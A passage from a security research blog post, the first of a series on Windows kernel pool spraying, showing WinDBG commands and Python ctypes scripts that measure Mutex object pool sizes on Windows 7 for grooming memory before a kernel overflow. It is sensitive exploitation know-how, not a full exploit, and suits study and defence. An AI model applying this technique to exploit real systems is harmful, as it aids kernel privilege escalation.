<div style="text-align: justify;">
This will give us a good set of objects that can be used for pool spraying.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
And what is "kex" and what to expect there? Well, you will see more cool kernel stuff. ;-) </div>
<div style="text-align: justify;">
<br /></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-35140635347100661572017-09-05T22:32:00.001+02:002017-09-10T20:05:56.866+02:00Windows kernel pool spraying fun - Part 1 - Determine kernel object size<div style="text-align: justify;">
This is a series of posts I'm planning to write for about a year now, I did some research here and there, but sort of forget about the whole thing and never took notes properly. I wanted to explore what kind of objects we can use for kernel pool spraying, mainly how much space they consume, what attributes they have, and at the end come up with a code snippet that will take the 'pool hole size' as an input, and dynamically tell us what kind of objects to use for this in order to control the pool allocation for our overflow. So this went into my drawer for long time, and I got excited about this again, when I saw a Twitter post from <a href="https://twitter.com/steventseeley" target="_blank">@steventseeley</a>: <a href="https://twitter.com/steventseeley/status/904443608216031233" target="_blank">https://twitter.com/steventseeley/status/904443608216031233</a> and decided that I need to write this after all, partially for my own interest, and finally documenting it as well :)</div>
<div style="text-align: justify;">
At this point I don't know how many parts this series will have, and how fast I will progress due to lack of time, but I decided to start this, and not ignore it again.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Microsoft has a nice list of kernel objects we can create with calling user mode function, although it's not complete, it's still a good start: <a href="https://msdn.microsoft.com/library/windows/desktop/ms724485(v=vs.85).aspx" target="_blank">https://msdn.microsoft.com/library/windows/desktop/ms724485(v=vs.85).aspx</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
another important link, is a list of pool tags we can spot, which can also come handy when looking at the pool allocations:</div>
<div style="text-align: justify;">
<a href="https://blogs.technet.microsoft.com/yongrhee/2009/06/23/pool-tag-list/" target="_blank">https://blogs.technet.microsoft.com/yongrhee/2009/06/23/pool-tag-list/</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
In this post I want to explore the Mutex object, as that gave me a headache recently due to incomplete notes, and show how can we find and see the actual allocation in the pool space and some basic info about the object itself.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
To setup the environment, we don't need to make remote kernel debugging, it's enough to do local kernel debugging, as we will only explore the kernel memory, and we don't need to setup any breakpoints for now. So a local debugging will be sufficient for our needs. For that we will need to enable debugging in Windows:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">bcdedit -debug ON</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
After that we will need to restart the machine. Once it's done, we can fire up WinDBG, go to Kernel Debug, and select Local. It's recommended to issue the following commands to load symbols:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">.symfix</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">.reload</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
At this point we can explore the kernel memory space. I will use a Win7 SP1 x86 for my demonstration.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First if we want we can get a more comprehensive list of objects with issuing the following command:</div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">!object \ObjectTypes</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
which will give us something like this:</div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !object \ObjectTypes</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Object: 8be05880 Type: (851466d8) Directory</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> ObjectHeader: 8be05868 (new version)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> HandleCount: 0 PointerCount: 44</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> Directory Object: 8be05ed0 Name: ObjectTypes</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> Hash Address Type Name</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> ---- ------- ---- ----</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 00 851d6900 Type TpWorkerFactory</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851466d8 Type Directory</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 01 8521a838 Type Mutant</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851cddb0 Type Thread</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 03 857c7c40 Type FilterCommunicationPort</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 04 8522a360 Type TmTx</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 05 851d29c8 Type Controller</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 06 8521d0b8 Type EtwRegistration</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 07 851fe9c8 Type Profile</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 8521a9c8 Type Event</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851467a0 Type Type</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 09 8521cce0 Type Section</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 8521a900 Type EventPair</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 85146610 Type SymbolicLink</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 10 851d69c8 Type Desktop</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851cdce8 Type UserApcReserve</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 11 85221040 Type EtwConsumer</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 8520e838 Type Timer</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 12 8522a8f0 Type File</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851fe838 Type WindowStation</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 14 860a6f78 Type PcwObject</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 15 8521ceb0 Type TmEn</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 16 851d2838 Type Driver</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 18 8521db70 Type WmiGuid</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851fe900 Type KeyedEvent</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 19 851d2900 Type Device</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851cd040 Type Token</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 20 85214690 Type ALPC Port</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851cd568 Type DebugObject</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 21 8522a9b8 Type IoCompletion</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 22 851cde78 Type Process</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 23 8521cf78 Type TmRm</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 24 851d6838 Type Adapter</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 26 852139a8 Type PowerRequest</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 85218448 Type Key</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 28 851cdf40 Type Job</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 30 8521c940 Type Session</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 8522a428 Type TmTm</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 31 851cdc20 Type IoCompletionReserve</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 32 8520e9c8 Type Callback</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 33 85894328 Type FilterConnectionPort</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 34 8520e900 Type Semaphore</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This is a list of objects that can be allocated in the kernel space. We can explore several important attributes about them, by looking into them in more detail. With the dt nt!_OBJECT_TYPE <object> we can get some details about the object, like total handles, etc... but most importantly the offset to the _OBJECT_TYPE_INITIALIZER structure which will contain a whole lot of handy stuff for us. Let's see what it gives us for the Mutant object, what I want to explore here:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> dt nt!_OBJECT_TYPE 8521a838</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x000 TypeList : _LIST_ENTRY [ 0x8521a838 - 0x8521a838 ]</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x008 Name : _UNICODE_STRING "Mutant"</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x010 DefaultObject : (null) </span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x014 Index : 0xe ''</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x018 TotalNumberOfObjects : 0x15f</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x01c TotalNumberOfHandles : 0x167</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x020 HighWaterNumberOfObjects : 0xc4d7</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x024 HighWaterNumberOfHandles : 0xc4ed</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x078 TypeLock : _EX_PUSH_LOCK</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x07c Key : 0x6174754d</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x080 CallbackList : _LIST_ENTRY [ 0x8521a8b8 - 0x8521a8b8 ]</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
and to read the _OBJECT_TYPE_INITIALIZER:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+28</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x000 Length : 0x50</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 ObjectTypeFlags : 0 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 CaseInsensitive : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 UnnamedObjectsOnly : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 UseDefaultObject : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 SecurityRequired : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 MaintainHandleCount : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 MaintainTypeList : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 SupportsObjectCallbacks : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x002 CacheAligned : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x004 ObjectTypeCode : 2</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x008 InvalidAttributes : 0x100</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x00c GenericMapping : _GENERIC_MAPPING</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x01c ValidAccessMask : 0x1f0001</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x020 RetainAccess : 0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x024 PoolType : 0 ( NonPagedPool )</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x028 DefaultPagedPoolCharge : 0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x02c DefaultNonPagedPoolCharge : 0x50</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x030 DumpProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x034 OpenProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x038 CloseProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x03c DeleteProcedure : 0x82afe453 void nt!ExpDeleteMutant+0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x040 ParseProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x044 SecurityProcedure : 0x82ca2936 long nt!SeDefaultObjectMethod+0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x048 QueryNameProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> +0x04c OkayToCloseProcedure : (null) </span></div>
<div>
<br /></div>
</div>
<div style="text-align: justify;">
This will give us two important things:</div>
<div style="text-align: justify;">
</div>
<ul>
<li>The pool type where this object is allocated - NonPagedPool in this case</li>
<li>Offset to functions (this is important during the actual exploitation part)</li>
</ul>
<div>
After this let's allocate a mutant, and find it in the kernel pool. I made a simple short python code, that will do this:</div>
<div>
<br /></div>
<br />
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">from ctypes import *</span></div>
<div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">from ctypes.wintypes import *</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">import os, sys</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">kernel32 = windll.kernel32</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">def alloc_not_named_mutex():</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> hHandle = HANDLE(0)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>hHandle = kernel32.CreateMutexA(None, False, None)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>if hHandle == None:</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> print "[-] Error while creating mutex"</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>sys.exit()</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>print hex(hHandle)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">if __name__ == '__main__':</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> alloc_not_named_mutex()</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>variable = raw_input('Press any key to exit...')</span></div>
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This will allocate an unnamed mutex for us, print its handle and wait for exit. We need the wait, so we can explore the kernel pool in WinDBG, if the process exit, the mutex will be destroyed. I got a handle of 0x70, let's see how we can find it in WinDBG. First I need to find the Python process and switch context to it, which can be done this way:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !process 0 0 python.exe</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">PROCESS 86e80930 SessionId: 1 Cid: 0240 Peb: 7ffd4000 ParentCid: 0f80</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> DirBase: bf3fd2e0 ObjectTable: a8282b30 HandleCount: 41.</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> Image: python.exe</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> .process 86e80930 </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Implicit process is now 86e80930</span></div>
<div>
<br /></div>
<div>
The first command will find the process for us, and the second will switch context. Then we need to query the handle, which will give us the address of the object in memory:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !handle 70</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">PROCESS 86e80930 SessionId: 1 Cid: 0240 Peb: 7ffd4000 ParentCid: 0f80</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> DirBase: bf3fd2e0 ObjectTable: a8282b30 HandleCount: 41.</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> Image: python.exe</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Handle table at a8282b30 with 41 entries in use</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">0070: Object: 86e031a8 GrantedAccess: 001f0001 Entry: 8c0d80e0</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Object: 86e031a8 Type: (8521a838) Mutant</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> ObjectHeader: 86e03190 (new version)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> HandleCount: 1 PointerCount: 1</span></div>
<div>
<br /></div>
</div>
<div>
With that, we can find the pool location, and details:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !pool 86e031a8 </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Pool page 86e031a8 region is Nonpaged pool</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 86e03000 size: 98 previous size: 0 (Allocated) IoCo (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 86e03098 size: 90 previous size: 98 (Allocated) MmCa</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 86e03128 size: 40 previous size: 90 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 86e03168 size: 10 previous size: 40 (Free) Icp </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">*86e03178 size: 50 previous size: 10 (Allocated) *Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>Pooltag Muta : Mutant objects</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 86e031c8 size: 40 previous size: 50 (Allocated) Even (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 86e03208 size: 40 previous size: 40 (Allocated) Even (Protected)</span></div>
</div>
<div>
<br /></div>
<div>
It shows that it takes 0x50 bytes in the Nonpaged pool region. No matter how many times we repeat this, it will be consistently 0x50. The thing I didn't know is if we can allocate plenty of unnamed mutexes. It seems that we actually can. If we put our previous code into a loop, we can see that it will work, and that they can nicely spray the heap:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef118 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef168 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef1b8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef208 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef258 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef2a8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef2f8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef348 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef398 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef3e8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef438 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef488 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef4d8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef528 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef578 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef5c8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef618 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef668 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef6b8 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> 851ef708 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
</div>
<div>
<br /></div>
<div>
So what changes if we give a name to the Mutex? Here is another Python code for that:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">def alloc_named_mutex(i):</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> hHandle = HANDLE(0)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>hHandle = kernel32.CreateMutexA(None, False, "Pool spraying is cool " + str(i))</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>if hHandle == None:</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> print "[-] Error while creating mutex"</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>sys.exit()</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>print hex(hHandle)</span></div>
</div>
<div>
<br /></div>
<div>
I pass an argument, as that will be important if we want to use this for spraying, because we can't create two mutexes with the same name.</div>
<div>
<br /></div>
<div>
Once we create the mutex, and we follow the same logic as before, we can see a bit difference:</div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">*871d39e8 size: 60 previous size: 30 (Allocated) *Muta (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>Pooltag Muta : Mutant objects</span></div>
</div>
<div>
<br /></div>
<div>
This time it takes 0x60 bytes, and it will be consistent. We can do the same spraying etc... but with a different size. There is something here that will be important. If we take a look at the pool allocation, we can see that thee is a pointer at offset 0x20 from the beginning of the pool chunk, to the name of the Mutex:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> dd 871d39e8 </span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d39e8 040c0006 e174754d 00000000 00000050</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d39f8 00000000 00000000 9a06fb38 002e002e</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d3a08 aab50528 00000000 00000002 00000001</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d3a18 00000000 000a000e 86e0bd80 99a4fc07</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d3a28 0008bb02 00000001 871d3a30 871d3a30</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d3a38 00000001 00000000 00000000 01d10000</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d3a48 040b000c 6d4d6956 b299b8c8 9a087020</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">871d3a58 a8246340 00000000 00000000 85d4f0b0</span></div>
<div>
